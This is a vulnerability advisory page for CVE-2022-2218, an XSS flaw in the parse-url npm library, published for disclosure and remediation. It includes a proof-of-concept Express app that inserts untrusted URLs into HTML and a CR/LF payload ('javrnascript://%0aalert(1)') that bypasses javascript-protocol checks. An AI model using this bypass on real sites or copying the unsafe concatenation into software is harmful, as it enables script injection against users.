---
title: "CX-2022-5014"
date: "2022-07-21T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cx-2022-5014/"
---

# CX-2022-5014

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

CVE-2022-2218  **Published:** Jul 21, 2022

CWE-79 CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')  6.1 Medium Severity Cross Site Scripting ionicabizau/parse-url XSS

P Pocas  Reported by Checkmarx Zero

Details Overview

## Summary

The parse-url version 6.0.0 of the parser does not remove “r” and “n” characters between protocols. This causes spoofing of the javascript protocol itself.

## Product

ionicabizau/parse-url prior to version 6.0.1 and version 6.0.2.

## Steps to reproduce

```
    const parseUrl = require("parse-url");
    const express = require('express');
    const app = express();

    parsed = parseUrl("javrnascript://%0aalert(1)");
    console.log(parsed);

    app.get('/', (req, res) => {
        if (parsed.protocol !== "javascript") {
            res.send("<a href='" + parsed.href + "'>CLICK ME!</a>")
        }
    })

    app.listen(9999);
```

In general, the above express code forbids the javascript protocol. However, you can spoof this using the CRLF character.

```
    output console.log(parsed);
    {
      protocols: [ 'javrnascript' ],
      protocol: 'javrnascript',
      port: null,
      resource: '%0aalert(1)',
      user: '',
      pathname: '',
      hash: '',
      search: '',
      href: 'javrnascript://%0aalert(1)',
      query: [Object: null prototype] {}
    }
```

```
output : document in browser
<a href="jav
ascript://%0aalert(1)">CLICK ME!</a>
```

### Expected result:

```
Through this vulnerability, an attacker is capable to execute malicious scripts.
```

## Remediation

Update `ionicabizau/parse-url` to version 6.0.1 or above 6.0.3.

## Resources

1. [Disclosure](https://huntr.dev/bounties/582cb14b-b2a8-4064-91c5-b580ff69ba07/)
2. [Commit](https://github.com/ionicabizau/parse-url/commit/21c72ab9412228eea753e2abc48f8962707b1fe3)
3. [Pull request](https://github.com/IonicaBizau/parse-url/pull/37)

0  Medium Severity CVSS v3.1 Score

   6.1

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None

Advisory Timeline1. Disclosed Apr 4, 2022 Disclosure published

## Explore more findings

[27 Nov 2025 CVE-2025-34281  Stored Cross-Site Scripting (XSS) in ThingsBoard   6.2  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825  HTTP Response Splitting in cpp-httplib   6.9  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050  Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface   4.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374  Code Injection in UltiMaker Cura   7.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497  Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496  Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [  14 Nov 2024 CVE-2024-51495  Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field   7.5  Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351  Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/)